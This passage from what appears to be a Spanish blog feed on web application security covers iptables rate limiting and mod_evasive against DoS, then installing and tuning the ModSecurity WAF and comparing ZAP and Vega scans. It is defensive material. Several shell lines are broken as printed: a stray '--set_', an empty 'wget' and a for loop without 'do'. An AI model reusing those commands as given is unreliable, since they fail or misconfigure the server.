https://substackcdn.com/image/fetch/$s_!h7PC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 848w, https://substackcdn.com/image/fetch/$s_!h7PC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 1272w, https://substackcdn.com/image/fetch/$s_!h7PC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Arquitecturas Centralizadas vs Arquitecturas Distribu&#237;das</p><p>Como podemos observar, una arquitectura distribu&#237;da nos permite evitar puntos centralizados de fallos. Incluso, podr&#237;amos realizar la distribuci&#243;n a trav&#233;s de servicios DNS como Route53 de Amazon, que permiten directamente encargarse de resolver los nombres de dominio hacia las direcciones IP que se encuentren activas, realizando un balanceo de cargas en tiempo real.</p><p>Cabe destacar que lograr una arquitectura distribu&#237;da no es del todo sencillo, porque existen muchos detalles a tener en cuenta, pero es innegable que este tipo de arquitecturas resuelve varios de los problemas habituales de las aplicaciones web, como las actualizaciones de componentes sin ca&#237;da de servicios y la r&#225;pida ampliaci&#243;n de capacidades de procesamiento.</p><h2>Firewalls Din&#225;micos</h2><p>Los cortafuegos (firewalls) m&#225;s modernos soportan la interpretaci&#243;n del tr&#225;fico que pasa por ellos para detectar si nos encontramos en presencia de una ataque DoS o DDoS. Estas capacidades muchas veces son entregadas por los dispositivos UTM dentro de su capacidad de IDS/IPS.</p><p>En el caso de que estemos utilizando servidores y/o firewalls basados en GNU/Linux, podemos hacer uso de IPTables para limitar la cantidad m&#225;xima de conexiones concurrentes que pueden ser establecidas por una misma direcci&#243;n IP, de la siguiente forma:</p><pre><code>iptables -A INPUT -p TCP -m state --state NEW --dport 80 -m recent --set_
iptables -A INPUT -p TCP -m state --state NEW --dport 80 -m recent --update --seconds 60 --hitcount 5 -j DROP
iptables -A INPUT -p TCP -m state --state NEW --dport 80 -j ACCEPT
</code></pre><p>La 1ra l&#237;nea deja un registro de la direcci&#243;n IP origen por cada conexi&#243;n nueva al puerto 80</p><p>La 2da l&#237;nea verifica que no se hayan registrado m&#225;s de 4 conexiones desde una misma direcci&#243;n IP en los &#250;ltimos 60 segundos. De ser as&#237;, empieza a descartar las conexiones de esa direcci&#243;n.</p><p>La 3ra l&#237;nea acepta la conexi&#243;n (si es que la 2da l&#237;nea no la rechaz&#243;)</p><p>Este es un ejemplo sencillo y pr&#225;ctico que, obviamente, puede ser mejorado agregando nuevas reglas y ajustando diferentes par&#225;metros.</p><h2>Apache ModEvasive</h2><p>Este m&#243;dulo de Apache, aunque funciona de forma completamente independiente a ModSecurity, es un excelente complemento para este, porque juntos proveen un nivel de seguridad muy interesante.</p><p>Es un m&#243;dulo de Apache para prevenir ataques DoS y b&#225;sicamente lo que hace es mantener una tabla din&#225;mica con las URIs accedidas por las distintas IPs de los clientes, y permite ejecutar algunas acciones cuando una misma IP solicita un mismo recurso (una misma URI o elementos de un mismo sitio) m&#225;s de n veces en m segundos.</p><p>La acci&#243;n por default que ejecuta el mod_evasive es, una vez superado el m&#225;ximo de requests por segundo permitidos, bloquear durante una cantidad de segundos al cliente (la IP) devolviendo un error 403 (Forbidden) a la petici&#243;n HTTP. Pero lo interesante es que tambi&#233;n permite ejecutar un comando de sistema al registrarse un intento de ataque, con lo cual se puede agregar una regla al iptables para bloquear la IP del cliente o cualquier otra acci&#243;n que creamos conveniente, es totalmente personalizable.</p><p>A continuaci&#243;n podemos ver las instrucciones resumidas para su instalaci&#243;n y configuraci&#243;n:</p><p>1) Instalamos el paquete:</p><pre><code>apt-get install libapache2-mod-evasive
</code></pre><p>2) Creamos el directorio en el que vamos a almacenar los logs y le permitimos a Apache escribir en &#233;l:</p><pre><code>mkdir /var/log/mod_evasive
chown www-data:www-data /var/log/mod_evasive/
</code></pre><p>3) Creamos el archivo de configuraci&#243;n "/etc/apache2/mods-available/mod-evasive.conf" y lo editamos para que tenga el siguiente contenido:</p><pre><code>&lt;ifmodule mod_evasive20.c&gt;
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSLogDir /var/log/mod_evasive
DOSEmailNotify EMAIL@DOMAIN.com
DOSWhitelist 127.0.0.1
&lt;/ifmodule&gt;
</code></pre><p>Abajo podemos ver un peque&#241;o resumen de las opciones que acabamos de configurar:</p><p><strong>DOSHashTableSize:</strong> Establece el n&#250;mero de nodos a almacenar para cada proceso de peticiones de la tabla hash . Si aplicamos un n&#250;mero alto a este par&#225;metro obtendremos un rendimiento mayor, ya que las iteraciones necesarias para obtener un registro de la tabla son menores. Por contra, y de forma evidente, aumenta el consumo de memoria necesario para el almacenamiento de una tabla mayor. Se hace necesario incrementar este par&#225;metro si el servidor atiende un n&#250;mero abultado de peticiones, aunque puede no servir de nada si la memoria de la m&#225;quina es escasa.</p><p><strong>DOSPageCount:</strong> Indica el valor del umbral para el n&#250;mero de peticiones de una misma p&#225;gina dentro del intervalo definido en DOSPageInterval. Cuando el valor del par&#225;metro es excedido, la IP del cliente se a&#241;ade a la lista de bloqueos.</p><p><strong>DOSSiteCount:</strong> Cuenta cu&#225;ntas peticiones de cualquier tipo puede hacer un cliente dentro del intervalo definido en DOSSiteInterval. Si se excede dicho valor, el cliente queda a&#241;adido a la lista de bloqueos.</p><p><strong>DOSPageInterval:</strong> El intervalo, en segundos, para el umbral de petici&#243;n de p&#225;ginas.</p><p><strong>DOSSiteInterval:</strong> El intervalo, en segundos, para el umbral de petici&#243;n de objetos de cualquier tipo.</p><p><strong>DOSBlockingPeriod:</strong> Establece el tiempo, en segundos, que un cliente queda bloqueado una vez que ha sido a&#241;adido a la lista de bloqueos.</p><p><strong>DOSEmailNotify:</strong> Un e-mail ser&#225; enviado a la direcci&#243;n especificada cuando una direcci&#243;n IP quede bloqueada.</p><p><strong>DOSSystemCommand:</strong> El comando reflejado se ejecutar&#225; cuando una direcci&#243;n IP quede bloqueada. Usaremos %s para especificar la direcci&#243;n IP implicada.</p><p><strong>DOSWhitelist:</strong> La direcci&#243;n IP indicada como valor del par&#225;metro no ser&#225; tenida en cuenta por el m&#243;dulo en ning&#250;n caso. Para cada direcci&#243;n IP a excluir ha de a&#241;adirse una nueva l&#237;nea con el par&#225;metro.</p><p>4) Habilitamos el m&#243;dulo y reiniciamos el servicio:</p><pre><code>a2enmod mod-evasive
service apache2 restart
</code></pre><p>Como podemos ver, es muy sencillo instalar y configurar este m&#243;dulo para empezar a proteger nuestra infraestructura contra este tipo de ataques.</p><h2>Resumen</h2><p>A lo largo de esta serie de art&#237;culos hemos visto que tenemos varias tecnolog&#237;as a nuestra disposici&#243;n para aumentar la seguridad de nuestras aplicaciones web. Es muy importante que las implementemos pensando en las necesidades puntuales de nuestra organizaci&#243;n y que, una vez implementadas, hagamos un monitoreo de los logs para detectar si est&#225;n funcionando en la forma en la que lo esperamos y qu&#233; correcciones podemos hacer para optimizar cada medida de seguridad.</p>]]></content:encoded></item><item><title><![CDATA[Seguridad en Aplicaciones Web (III)]]></title><description><![CDATA[En el art&#237;culo anterior analizamos las herramientas de auditor&#237;a de aplicaciones web ZAP y Vega.]]></description><link>https://www.portantier.com/p/seguridad-en-aplicaciones-web-iii</link><guid isPermaLink="false">https://www.portantier.com/p/seguridad-en-aplicaciones-web-iii</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Tue, 01 Jul 2014 19:54:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!JzkR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En el art&#237;culo anterior analizamos las herramientas de auditor&#237;a de aplicaciones web ZAP y Vega.</p><p>En esta parte, analizaremos la tecnolog&#237;as que podemos implementar para mejorar la Seguridad en Aplicaciones Web desde el lado del servidor, haciendo foco en el Web Application Firewall (WAF) de ModSecurity, para comprobar qu&#233; tan f&#225;cil es implementarla y cu&#225;les son los beneficios que nos aporta. Para esto vamos a utilizar el mismo laboratorio de pruebas del art&#237;culo anterior, a fin de lograr un buen punto de comparaci&#243;n de los resultados.</p><h2>Introducci&#243;n a ModSecurity</h2><p>ModSecurity (<a href="http://www.modsecurity.org">www.modsecurity.org</a>) es un firewall de aplicaciones web que se ejecuta como m&#243;dulo de Apache (aunque ahora es compatible con IIS y Nginx, generalmente se recomienda su instalaci&#243;n en Apache, por ser la configuraci&#243;n m&#225;s probada y estable.</p><p>Provee protecci&#243;n contra diversos ataques y permite monitorizar tr&#225;fico HTTP, as&#237; como realizar an&#225;lisis en tiempo real sin necesidad de hacer cambios a la infraestructura existente.</p><p>Algunas de las funcionalidades m&#225;s importantes son:</p><p><strong>Filtrado de Peticiones:</strong> los pedidos HTTP entrantes son analizados por el m&#243;dulo mod_security antes de pasarlos al servidor Web Apache, a su vez, estos pedidos son comparados contra un conjunto de reglas predefinidas para realizar las acciones correspondientes. Para realizar este filtrado se pueden utilizar expresiones regulares, permitiendo que el proceso sea flexible.</p><p><strong>T&#233;cnicas antievasi&#243;n:</strong> las rutas y los par&#225;metros son normalizados antes del an&#225;lisis para evitar t&#233;cnicas de evasi&#243;n.</p><p><strong>Comprensi&#243;n del protocolo HTTP:</strong> al comprender el protocolo HTTP, puede realizar filtrados espec&#237;ficos y granulares.</p><p><strong>An&#225;lisis Post Payload:</strong> intercepta y analiza el contenido transmitido a trav&#233;s del m&#233;todo POST.</p><p><strong>Log de Auditor&#237;a:</strong> es posible dejar traza de auditor&#237;a para un posterior an&#225;lisis forense.</p><p><strong>Filtrado HTTPS:</strong> al estar embebido como m&#243;dulo, tiene acceso a los datos despu&#233;s de que estos hayan sido descifrados.</p><p><strong>Verificaci&#243;n de rango de Bytes:</strong> permite detectar y bloquear shellcodes, limitando el rango de los bytes.</p><p><strong>Soporte para ranking de anomal&#237;as y correlaci&#243;n b&#225;sica de eventos:</strong> los contadores pueden ser autom&#225;ticamente decrementados con el paso del tiempo, las variables pueden expirar.</p><h2>Instalaci&#243;n de ModSecurity</h2><p><strong>NOTA:</strong> Para lectores que no busquen detalles t&#233;cnicos de ModSecurity y les interese &#250;nicamente ver los resultados, pueden directamente saltar a la siguiente secci&#243;n del art&#237;culo.<br>Si bien se va a detallar la instalaci&#243;n en Ubuntu Server, el proceso es muy similar en cualquier distribuci&#243;n de GNU/Linux.<br>Primero, debemos descargar los paquetes necesarios:</p><pre><code>apt-get install libapache-mod-security
</code></pre><p>(esto va a instalar todas las dependencias necesarias)</p><p>Una vez hecho esto, tendremos que descargar las reglas de filtrado. Debemos recordar que, ModSecurity en s&#237; es un motor para la aplicaci&#243;n de reglas y por s&#237; s&#243;lo no realiza ninguna acci&#243;n sobre el tr&#225;fico.</p><p><strong>NOTA:</strong> Las reglas de filtrado van a depender de qu&#233; versi&#243;n de ModSecurity vayamos a utilizar. En las pruebas que yo realic&#233;, utilic&#233; la versi&#243;n de ModSecurity 2.6.6, que es compatible &#250;nicamente hasta la versi&#243;n 2.2.5 de las reglas, por lo que descargu&#233; dicha versi&#243;n desde el repositorio:<br><a href="https://github.com/SpiderLabs/owasp-modsecurity-crs/releases">https://github.com/SpiderLabs/owasp-modsecurity-crs/releases</a></p><p>Descargamos el archivo de reglas en el directorio temporal y lo descomprimimos (los nombres de archivo pueden cambiar en las diferentes versiones de las reglas):</p><pre><code>cd /tmp
wget
</code></pre><p>Ahora copiamos el contenido dentro del directorio &#8216;/etc/modsecurity&#8217;:</p><pre><code>cp /tmp/archivo/* /etc/modsecurity/
</code></pre><p>Movemos el archivo de la configuraci&#243;n recomendada de ModSecurity, para volverla productiva:</p><pre><code>mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
</code></pre><p>Movemos el archivo general de la configuraci&#243;n de reglas para volverlo productivo:</p><pre><code>cd /etc/modsecurity
mv modsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf
</code></pre><p>Editamos la opci&#243;n "SecRuleEngine" y la ponemos en "On" para habilitar la utilizaci&#243;n del motor de reglas, as&#237;:</p><pre><code>SecRuleEngine On
</code></pre><p>Como las reglas est&#225;n divididas en diferentes secciones en base a su nivel de madurez (Base, Optional, Experimental), vamos a habilitar &#250;nicamente las reglas m&#225;s probadas, que son las que suelen traer menos problemas:</p><pre><code>cd /etc/modsecurity/base_rules
for f in * ; sudo ln -s /etc/modsecurity/base_rules/$f /etc/modsecurity/activated_rules/$f ; done
</code></pre><p>(El comando anterior crea un enlace simb&#243;lico desde cada archivo que est&#225; dentro del directorio "base_rules" y lo almacena en el directorio "activated_rules". De esta forma, configuramos cu&#225;les reglas van a quedar activadas).</p><p>Una vez hecho esto, le decimos a ModSecurity que deb cargar todos los achivos que est&#225;n presentes dentro del directorio '/etc/modsecurity/activated_rules', editando el archivo '/etc/apache2/mods-available/mod-security.conf' para que contenga la siguiente l&#237;nea:</p><pre><code>Include "/etc/modsecurity/activated_rules/*.conf"
</code></pre><p>Esta l&#237;nea debe quedar inmediatamente despu&#233;s de la l&#237;nea:</p><pre><code>Include "/etc/modsecurity/*.conf"
</code></pre><p>Habilitamos el m&#243;dulo mod-security en Apache:</p><pre><code>a2enmod mod-security
</code></pre><p>Reiniciamos el servicio:</p><pre><code>service apache2 restart
</code></pre><p>Ahora ya tenemos ModSecurity instalado y configurado, podemos pasar a probarlo.</p><h2>Primeras Pruebas y Correcciones</h2><p><strong>NOTA:</strong> Para lectores que no busquen detalles t&#233;cnicos de ModSecurity y les interese &#250;nicamente ver los resultados, pueden directamente saltar a la siguiente secci&#243;n del art&#237;culo.</p><p>Una vez realizada la configuraci&#243;n b&#225;sica de ModSecurity es probable que nos encontremos con que algunas de las reglas definidas interfieren con el correcto funcionamiento de nuestra aplicaci&#243;n. Para esto, recomiendo directamente deshabilitar las reglas conflictivas. En el caso de que sean muchas, deberemos verificar si no estamos teniendo un problema de configuraci&#243;n o una incompatibilidad entre la versi&#243;n de ModSecurity y las reglas que tenemos instaladas.</p><p>Por ejemplo, en mi laboratorio de pruebas, ModSecurity no me permite acceder a mi sitio porque detecta que estoy tratando de acceder a trav&#233;s de la direcci&#243;n IP y no a trav&#233;s del nombre de host. Obviamente, podr&#237;a solucionar esto creando un nombre de host, pero prefiero mostrar c&#243;mo se deshabilita una regla en la configuraci&#243;n.</p><p>Primero, debemos identificar en el archivo de log de ModSecurity (por defecto: &#8216;/var/log/apache2/modsec_audit.log&#8217;, y puede cambiarse con la opci&#243;n &#8216;SecAuditLog&#8217; del archivo de configuraci&#243;n &#8216;/etc/modsecurity/modsecurity.conf&#8217;).</p><p>Podremos ver una l&#237;nea de error como la siguiente:</p><pre><code>Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [rev "2.2.5"] [msg "Host header is a numeric IP address"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/2005.01.hackerbasher.aspx"]
</code></pre><p>Ah&#237; podemos observar que la regla conflictiva se encuentra en la l&#237;nea 98 del archivo:</p><pre><code>/etc/modsecurity/activated_rules/modsecurity_crs_21_protocol_anomalies.conf
</code></pre><p>Lo &#250;nico que tenemos que hacer es editar ese archivo y comentar la l&#237;nea 98. Luego, reiniciamos el servicio de Apache con:</p><pre><code>service apache2 restart
</code></pre><p>Ahora probamos el acceso y funcionar&#225; correctamente.</p><h2>Antes y Despu&#233;s de ModSecurity</h2><p>Ahora, volvemos a correr las herramientas ZAP y Vega, que utilizamos en el art&#237;culo anterior para realizar la auditor&#237;a de seguridad de nuestra aplicaci&#243;n. A continuaci&#243;n veremos las im&#225;genes de cada reporte, antes y despu&#233;s de ModSecurity:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JzkR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JzkR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 424w, https://substackcdn.com/image/fetch/$s_!JzkR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 848w, https://substackcdn.com/image/fetch/$s_!JzkR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 1272w, https://substackcdn.com/image/fetch/$s_!JzkR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JzkR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png" width="402" height="366" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:366,&quot;width&quot;:402,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;zap-sin-waf&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="zap-sin-waf" title="zap-sin-waf" srcset="https://substackcdn.com/image/fetch/$s_!JzkR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 424w, https://substackcdn.com/image/fetch/$s_!JzkR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 848w, https://substackcdn.com/image/fetch/$s_!JzkR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 1272w, https://substackcdn.com/image/fetch/$s_!JzkR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9f328a0-cf8a-44d5-abbe-5d0e51162bdf_402x366.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>ZAP sin ModSecurity</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!scpG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!scpG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 424w, https://substackcdn.com/image/fetch/$s_!scpG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 848w, https://substackcdn.com/image/fetch/$s_!scpG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 1272w, https://substackcdn.com/image/fetch/$s_!scpG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!scpG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png" width="400" height="212" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:212,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;zap-post-waf&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="zap-post-waf" title="zap-post-waf" srcset="https://substackcdn.com/image/fetch/$s_!scpG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 424w, https://substackcdn.com/image/fetch/$s_!scpG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 848w, https://substackcdn.com/image/fetch/$s_!scpG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 1272w, https://substackcdn.com/image/fetch/$s_!scpG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d9f824d-02b6-4a40-9d73-673cced39171_400x212.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>ZAP con ModSecurity</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!r4Wk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!r4Wk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 424w, https://substackcdn.com/image/fetch/$s_!r4Wk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 848w, https://substackcdn.com/image/fetch/$s_!r4Wk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 1272w, https://substackcdn.com/image/fetch/$s_!r4Wk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!r4Wk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png" width="515" height="550" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/36969419-a21d-4331-869d-451c2a13f038_515x550.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:550,&quot;width&quot;:515,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;vega-sin-waf&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="vega-sin-waf" title="vega-sin-waf" srcset="https://substackcdn.com/image/fetch/$s_!r4Wk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 424w, 